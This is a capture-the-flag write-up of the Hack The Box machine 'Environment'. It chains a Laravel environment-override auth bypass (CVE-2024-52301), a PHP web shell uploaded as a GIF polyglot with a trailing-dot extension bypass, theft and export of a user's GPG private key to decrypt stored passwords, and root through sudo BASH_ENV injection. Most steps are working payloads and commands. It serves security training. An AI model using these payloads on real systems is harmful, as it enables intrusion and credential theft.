RECON
Port Scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A standard-issue Linux deployment—no frills, just a surface waiting to be scratched.
Whatweb
Initiate reconnaissance with whatweb:
$ whatweb http://environment.htb
http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.129.▒▒.▒▒], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]
We already have some strong indicators of the underlying tech stack—Laravel Framework detected.
Cookies
:XSRF-TOKEN
,laravel_session
HttpOnly
:laravel_session
→ Strong evidence the backend is Laravel (PHP framework).
Port 80 | Laravel
The Laravel-powered web application, themed around environmental awareness, exposes a subscription form that lets users sign up with their email address.

A POST request is sent to the /mailing
endpoint:
POST /mailing HTTP/1.1
Host: environment.htb
Content-Length: 65
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://environment.htb
Referer: http://environment.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IkI3d0Y3RGJPOTlmSnhmcjNpNlZUVmc9PSIsInZhbHVlIjoiRVRzbnZYOGh0Q1p2aGhvUXlSajRlMlk1ZTBVYkRsQTJIS2NuSXk0b0xyWjVZaVZWWHJNWTBIUDR2ZHZnVC9LTVo4UmlucmtXWlBkdVFQT0NaTDYyeFFMSEUyQkhiYm44ZHdmN3pOTnhxVXpiTGxDSWNPekY4ZWRRbXpidFg5T1UiLCJtYWMiOiJkOTNhOWY1MDQyNzZlY2YzMjFhMWE5ZjkyNjhjOGRmYmY1M2FmYzZiY2Q2OWZjYzFiMDY0ZTg2Yjg2YmY0YmZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdhWk1oWGEyaDBMK3ZUdld1UEJoNVE9PSIsInZhbHVlIjoid2k0aVRjT0lSVDl6aURUYW9SMVBnNDRvUTJXRUpDSVdCM1ZEL0l4M2NxRWhoMjN4VHFpbCtTNEk2VHFyZklzYUhTR05KYUR2UFJoa1doN1A3eGJiQUV2N09hQ0tId3I5VWh4WVllZ29GaDFkU1cwOGJGR1RPZit2Tnh0ek1EeXkiLCJtYWMiOiI2NjlhNjgwMjBlMmM5ZjM3NjE3MjllNjMyNTAxNjczMThhNGRhOWVkOTgxYmFmYzMzZWQzNDQ2ZGY0ZjYzYjcyIiwidGFnIjoiIn0%3D
Connection: keep-alive
[email protected]&_token=jFSFAEFqwjvk2gZwvEmO7FcOa9oGrQ6fjJsaJoOh
The CSRF token (_token
) is embedded within the HTML:
<form id="mailingListForm">
<input type="hidden" name="_token" value="jFSFAEFqwjvk2gZwvEmO7FcOa9oGrQ6fjJsaJoOh" autocomplete="off"> <input type="text" id="email" name="email" placeholder="Email" style="width: 400px; height: 35px; font-size: 15px; border:none; text-indent: 8px;"><br>
<input type="submit" value="Join!" style="font-size: 15px; width: 400px; margin-top: 10px; height: 30px; background-color: #2a7f62; border: none; color: white; font-weight: bold; cursor: pointer">
</form>
However, issuing a GET request to the same endpoint triggers a verbose exception page—Laravel's Ignition debug interface. Jackpot:

This tells us two critical things:
- The server is running in debug mode:
APP_DEBUG=true
- We're handed raw stack trace with real file paths, line numbers, and exception messages
From the error trace:
- PHP: 8.2.28
- Laravel: 11.30.0
- Stack trace entry:
public/index.php:17
This is a classic Laravel misconfiguration—debug mode left enabled in production—revealing internal mechanics of the framework. For an attacker, it's like x-raying the application with the developer's own tools.
Dirsearch
The site appeared deceptively barren, offering little beyond an email subscription prompt. So, I turned to the age-old recon weapon—directory brute-forcing:
$ dirsearch -u 'http://environment.htb' -x 399-499
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266
Target: http://environment.htb/
[01:09:43] Scanning:
[01:23:55] 301 - 169B - /build -> http://environment.htb/build/
[01:29:29] 200 - 0B - /favicon.ico
[01:32:37] 200 - 4KB - /index.php
[01:32:50] 200 - 2KB - /index.php/login/
[01:34:33] 200 - 2KB - /login
[01:35:06] 302 - 358B - /logout/ -> http://environment.htb/login
[01:35:07] 302 - 358B - /logout -> http://environment.htb/login
[01:41:53] 200 - 24B - /robots.txt
[01:44:33] 301 - 169B - /storage -> http://environment.htb/storage/
Task Completed
A few standout entries caught my attention—most notably, /login
:

As a usual test routine, we tampered with the remember
parameter during login by sending a malformed value. And just like that, Laravel's debug handler (Ignition) lit up again—exposing another full stack trace:

WEB
Laravel
Environment-Based Auth Bypass
Laravel's debug handler didn't just expose stack traces—it dropped breadcrumbs straight to the dev's backdoor.
The leaked snippet from routes/web.php
confirmed a careless but classic logic flaw:
$keep_loggedin = False;
} elseif ($remember == 'True') {
$keep_loggedin = True;
}
if ($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if (App::environment() == "preprod") {
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
$user = User::where('email', $email)->first();
That preprod
check is a hardcoded bypass—meant for local testing, never meant to reach production. If triggered, the app sidesteps all auth checks, fabricates a session, and grants admin access (user_id = 1
)—no password, no verification.
But here's the twist: we don't need access to Laravel's config files to change the environment. Enter: CVE-2024-52301.
CVE-2024-52301
Laravel Environment Override
Laravel, when determining the current App::environment()
, looks at the argv
array—which normally comes from CLI input.
However, if:
php.ini
hasregister_argc_argv = On
- PHP is running in a web server context (not CLI)
- And the HTTP request includes
?argv[]=--env=ENVNAME
Then Laravel would mistakenly parse that argv
as if it were passed via the command line and override the environment with the attacker-controlled value—this is the mechanism of CVE-2024-52301.
Since the app contains logic like:
if (App::environment() == 'preprod') {
// backdoor behavior for auth bypass
}
Under default php.ini
settings (register_argc_argv = On
), this becomes a major attack vector. A malicious HTTP request with:
?argv[]=--env=preprod
Where argv[]
is the query parameter. It injects fake CLI arguments into the app—Laravel thinks it's been launched in a different environment.
This vulnerability can be applied to any URL—like:
POST http://environment.htb/login?=--env=preprod
Now App::environment()
will return preprod
, even if the real environment was production
—the backdoor logic is executed remotely via a web request.
PoC
Laravel versions affected by CVE-2024-52301:
- < 6.20.45
- < 7.30.7
- < 8.83.28
- < 9.52.17
- < 10.48.23
- < 11.31.0 ← our target is 11.30.0 → vulnerable
The vulnerable source code in Laravel 11.30.0 from /src/Illuminate/Foundation/Application.php
at line 760:
public function detectEnvironment(Closure $callback)
{
$args = $_SERVER['argv'] ?? null;
return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}
Therefore, if this target runs Laravel 11.30.0 and register_argc_argv = On
(default in many setups), then we can test with an HTTP request like:
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Type: application/x-www-form-urlencoded
_token=<csrf_token>&[email protected]&password=123&remember=True
Triggers the backdoor:
if (App::environment() == "preprod") {
session()->put('user_id', 1);
}
And Laravel obliges—grants a session and redirects us to /management/dashboard
as the privileged user Hish
:

Upload Bypass
Inside the management panel at /management/profile
, we spotted an upload form:

The upload endpoint enforced a content-type check, but not well enough. By faking the start of an image file (GIF89a
) and appending a PHP payload, we can try to create a polyglot file:
POST /upload HTTP/1.1
Host: environment.htb
[...]
Cookie: XSRF-TOKEN=eyJ...; laravel_session=eyJ...
Connection: keep-alive
------WebKitFormBoundaryb7czDiXUFKDk5fp0
Content-Disposition: form-data; name="_token"
RK66D6GeajRlnIYA1pnSHZTILaTFqtsiq857eRhH
------WebKitFormBoundaryb7czDiXUFKDk5fp0
Content-Disposition: form-data; name="upload"; filename="shell.gif"
Content-Type: image/gif
GIF89a
<?php @eval($_REQUEST["x"]);?>
------WebKitFormBoundaryb7czDiXUFKDk5fp0--
The upload succeeded, returning a publicly accessible path:
GET http://environment.htb/storage/files/shell.gif
This is absolutely a potential PHP webshell upload primitive, as long as we can bypass the WAF.
The server seems only restrict the extension .php
, but not any others. We tested a few vectors:
.php5
→ not executed.phtml
→ not interpreted.php.
→ bypassed sanitization, parsed as PHP
A trailing dot is all it took to fool the filter and restore the .php
extension:

As a result, the file was saved and served as shell.php
, fully parsed by the server.
Use some webshell management tool. e.g., AntSword, to try to connect through our payload, and landed a fully interactive PHP webshell as www-data
:

Foothold achieved. Webroot breached.
USER
Internal Enum
With a foothold as www-data
, we pivoted into deeper reconnaissance.
First target: .env
file at /var/www/app/.env
. Classic Laravel deployment slip. We extract the APP_KEY
, confirm the environment is production
:
APP_NAME=Laravel
APP_ENV=production
APP_KEY=base64:BRhzmLIuAh9UG8xXCPuv0nU799gvdh49VjFDvETwY6k=
[...]
Then comes the jackpot (rabbit hole)—an SQLite database file lying exposed in the web root:

Brute-forcing attempts proved fruitless—these are high-cost bcrypt hashes and cracking them in CTF time isn't practical.
Still, one thing comes clear: hish
is our next escalation target. We verify it:
www-data@environment:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
_laurel:x:999:996::/var/log/laurel:/bin/false
The web user has read-execute access to /home/hish
, granting a peek into sensitive territory:
www-data@environment:~$ ls -l /home
total 4
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 hish
Looks like there're plenty of interesting things inside hish
home directory:

User flag recovered—without needing to escalate yet. An unexpected bonus, this could be unintendedly misconfigured.
GPG Abuse
While the user.txt
flag was prematurely world-readable, we will need to compromise the hish
user for further exploit.
We uncovered /home/hish/backup/keyvault.gpg
, alongside a full .gnupg/
directory:
www-data@environment:/home/hish$ ls backup
keyvault.gpg
www-data@environment:/home/hish$ ls -lah .gnupg
total 32K
drwxr-xr-x 4 hish hish 4.0K May 5 01:05 .
drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 ..
drwxr-xr-x 2 hish hish 4.0K May 5 01:05 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4.0K May 5 01:05 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1.5K Jan 12 03:13 pubring.kbx
-rwxr-xr-x 1 hish hish 32 Jan 12 03:11 pubring.kbx~
-rwxr-xr-x 1 hish hish 600 Jan 12 11:48 random_seed
-rwxr-xr-x 1 hish hish 1.3K Jan 12 11:48 trustdb.gpg
That screams one thing: GPG in active use.
The routine of decrypting GPG (GNU Privacy Guard) protected data was also introduced in the DarkCorp writeup.
The .gnupg
directory contains the user's GPG (PGP) keypairs and metadata, used for:
- Email encryption/signing
- Secure backups
- Software signing
- Secrets encryption (e.g., git-crypt, pass)
And we have:
Component | Purpose |
---|---|
.gnupg/private-keys-v1.d | Contains GPG private keys, could be encrypted with a passphrase |
.gnupg/pubring.kbx | Public keyring — shows key ID, fingerprint, user email |
backup/keyvault.gpg | A GPG-encrypted file — maybe secrets, SSH keys, DB credentials, or something custom |
But www-data
had read access, not write—and no agent socket:
www-data@environment:/home/hish$ gpg --homedir /home/hish/.gnupg --list-secret-keys
gpg: WARNING: unsafe ownership on homedir '/home/hish/.gnupg'
gpg: Note: trustdb not writable
gpg: failed to create temporary file '/home/hish/.gnupg/.#lk0x0000564cfdf3f010.environment.13055': Permission denied
gpg: can't connect to the agent: Permission denied
www-data
lacks write access to /home/hish/.gnupg
—GPG relies on an agent and writable keyring environment. So we do what any hacker would:
cp -r /home/hish/.gnupg /tmp/gnupg_hish
chmod -R 700 /tmp/gnupg_hish
chown -R www-data:www-data /tmp/gnupg_hish
We cloned the entire keyring to /tmp
—this allowed us to safely run gpg
as www-data
without permission errors under our own sandboxedGNUPGHOME
to export an ASCII-armored file, namely the full secret key:
GNUPGHOME=/tmp/gnupg_hish gpg --export-secret-keys -a > /tmp/hish_private.asc
Verify the exported key:
cat /tmp/hish_private.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQOYBGeCmI0BCADXSkEBADG/ojZVS3xEXr/mvrScJF9pGwqJW/sppu8lKWJP1HUG
PrJGe1X99VSBonb+6PHkKMmck3xOtS0sE51Kv3xIKmhOy0+e93C3KWoI36hRna85
En9pS27CDRTqQweqR4qqB65Rl3JrFx1skGQxKYa5tskzZmXCnzIBvQV2+YDNL87j
[...]
SyVJHCXa7kqyDRRlBiMMpdO53JEtmV026cJLtou6TILClczZ/v8Sr4FlaSQOn3OB
ES298pnGb6KrvK7pOw1w2JeOz7wyZP6YZLgM91TRvQjCOmjeqcgCyjw2smQEs8q8
F9Xp7au8A1E4fEjDbLUYjY4MP9Hh805TbJnNfjGU
=MzqF
-----END PGP PRIVATE KEY BLOCK-----
Importit back into GPG under www-data
:
www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --import /tmp/hish_private.asc
gpg: key 12F42AE5117FFD8E: "hish_ <[email protected]>" not changed
gpg: key 12F42AE5117FFD8E: secret key imported
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys unchanged: 1
www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --list-secret-keys
/tmp/gnupg_hish/pubring.kbx
---------------------------
sec rsa2048 2025-01-11 [SC]
F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid [ultimate] hish_ <[email protected]>
ssb rsa2048 2025-01-11 [E]
Once imported, we decrypt the sensitive file from the server (keyvault.gpg
), with the master key to the vault:
www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --decrypt /home/hish/backup/keyvault.gpg
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <[email protected]>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
That's our pivot. We now own Hish's password for some services.
And accordingly, the one marineSPm@ster!!
is for ENVIRONMENT.HTB
, that we can try it with SSH login as user hish
:

A example of key exfiltration and environment pivot, leveraging GPG weakness and readable permissions.
ROOT
Sudo
Privilege escalation came down to one sudo
script:
hish@environment:~$ sudo -l
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
hish@environment:~$ ls -l /usr/bin/systeminfo
-rwxr-xr-x 1 root root 452 Jan 12 12:11 /usr/bin/systeminfo
/usr/bin/systeminfo
— executable as root via sudo
by user hish
.
Running it returns system diagnostic output:
### Displaying kernel ring buffer logs (dmesg) ###
[ 4.999107] Initialized host personality
[ 5.005875] NET: Registered PF_VSOCK protocol family
[...]
### Checking system-wide open ports ###
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=934,fd=3))
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=937,fd=5),("nginx",pid=936,fd=5),("nginx",pid=935,fd=5))
[...]
### Displaying information about all mounted filesystems ###
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime,hidepid=invisible)
[...]
### Checking system resource limits ###
real-time non-blocking time (microseconds, -R) unlimited
core file size (blocks, -c) 0
[...]
### Displaying loaded kernel modules ###
Module Size Used by
tcp_diag 16384 0
[...]
### Checking disk usage for all filesystems ###
Filesystem Size Used Avail Use% Mounted on
udev 1.9G 0 1.9G 0% /dev
tmpfs 392M 688K 391M 1% /run
[...]
This appears to be a Linux runtime diagnostics utility, exposing kernel-level data.
Code Review
Inspecting the source of /usr/bin/systeminfo
, we find:
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
This Bash script collects general system diagnostics. It reads:
- Kernel logs via
dmesg
- Socket information via
ss
- Mounted file systems via
mount
- Shell limits via
ulimit
- Kernel modules via
lsmod
- Disk usage via
df
The script serves as a simple diagnostic utility. However, it references all binaries via relative commands, not absolute paths—leaving it open to command hijacking via PATH
injection.
Exploit
None of the binaries used are referenced with absolute paths, for example:
dmesg | tail -n 10 # ← vulnerable
mount | column -t # ← vulnerable
Since the script is allowed to be run via sudo
(sudo /usr/bin/systeminfo
), we can try to exploit this by the classic PATH injection:
hish@environment:~$ cd /tmp
hish@environment:/tmp$ echo -e '#!/bin/bash\n/bin/bash' > /tmp/dmesg
hish@environment:/tmp$ chmod +x /tmp/dmesg
hish@environment:/tmp$ ls -l dmesg
-rwxr-xr-x 1 hish hish 22 May 5 11:15 dmesg
Fails:
hish@environment:/tmp$ sudo PATH=/tmp:$PATH /usr/bin/systeminfo
sudo: sorry, you are not allowed to set the following environment variables: PATH
This is due to secure_path
enforced by sudo:
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
However, env_keep+="ENV BASH_ENV"
opens the door for environmental variable injection.
env_keep+="ENV BASH_ENV"
So instead of trying to override PATH
, we can inject code into the shell before any command executes by using a fake BASH_ENV
.
We craft a malicious BASH_ENV
that overrides PATH:
echo 'export PATH=/tmp:$PATH' > /tmp/env.sh
chmod +x /tmp/env.sh
Exploit via BASH_ENV
:
sudo BASH_ENV=/tmp/env.sh /usr/bin/systeminfo
Executed:

Command hijack confirmed, but dmesg | tail -n 10
gives minimal output, while the rest of the systeminfo
script continued to run, limiting direct payload visibility.
Instead, we can simply escalate silently with this final version:
echo 'cp /bin/bash /tmp/cat && chmod +s /tmp cat' > /tmp/env.sh
chmod +x /tmp/env.sh
sudo BASH_ENV=/tmp/env.sh /usr/bin/systeminfo
Now we spawn a root shell:

Rooted.
Comments | NOTHING